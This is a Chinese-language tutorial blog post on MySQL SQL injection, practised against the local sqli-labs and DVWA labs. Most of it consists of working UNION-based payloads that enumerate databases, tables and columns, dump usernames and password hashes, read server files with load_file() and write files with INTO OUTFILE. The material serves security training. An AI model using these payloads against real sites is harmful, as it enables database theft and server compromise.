第13天-Web漏洞——SQL注入之MYSQL注入

在这里插入图片描述

高权限注入及低权限注入
mysql5.0以上特性

MySQL 5.0以上版本中,为了方便管理,默认定义了information_schema数据库,用来存储数据库元信息,其中具有表schemata(数据库名),table(表名),columns(列名或字段名)

在schemata表中,schema_name字段用来存储数据库名

在table表中,table_schema和table_name分别用来存储数据库名和表名

在column表中,table_schema(数据库名),table_name(表名),column_name(字段名)

跨库查询及应用思路

获取数据库名

查看数据库名,进行选择!

获取所有数据库名

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1%20union%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata

在这里插入图片描述

获取指定数据库(dvwa)下 表名信息;

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1%20union%20%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20%20table_schema=%27dvwa%27%20–+

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘dvwa’ --+

在这里插入图片描述

获取指定表名(dvwa下users)下 列名的信息

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20%20table_name=%27users%27%20and%20%20table_schema=%27dvwa%27

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘ users’ and table_schema= ’dvwa‘

在这里插入图片描述

获取指定 dvwa 下的 users 账户admin数据
union select 1,2,group_concat(user,’:’,password )from dvwa.users

在这里插入图片描述

文件读写操作

会用到MySQL数据库里两个内置函数,这两个函数是MySQL数据库特有的,在其他数据库是没有的或者在其他数据库中写法不 同,所以这是为什么说注入、分数据库的原因,因为每个数据库内置的安全机制和它的功能不同,这才导致在注入的时候针对不用的数据库采取的攻击思路也不同。

MySQL有内置读取的操作函数,我们可以调用这个函数作为注入的攻击。

load_file():读取函数

SELECT * FROM users WHERE id=-1 union select 1,load_file(‘E:\phpstudy\PHPTutorial\WWW\DVWA-master\config\config.inc.php’),3 LIMIT 0,1

在这里插入图片描述

在这里插入图片描述

into outfile 或 into dumpfile :导出函数

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1%20union%20select%201,%27x%27,3%20into%20outfile%20%27E:\phpstudy\PHPTutorial\WWW\DVWA-master\config\record.txt%27%20–+

在这里插入图片描述

在这里插入图片描述

路径获取常见方法:
报错显示,遗留文件,漏洞报错,平台配置文件,爆破等

低版本注入配合读取或暴力

字典或读取

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值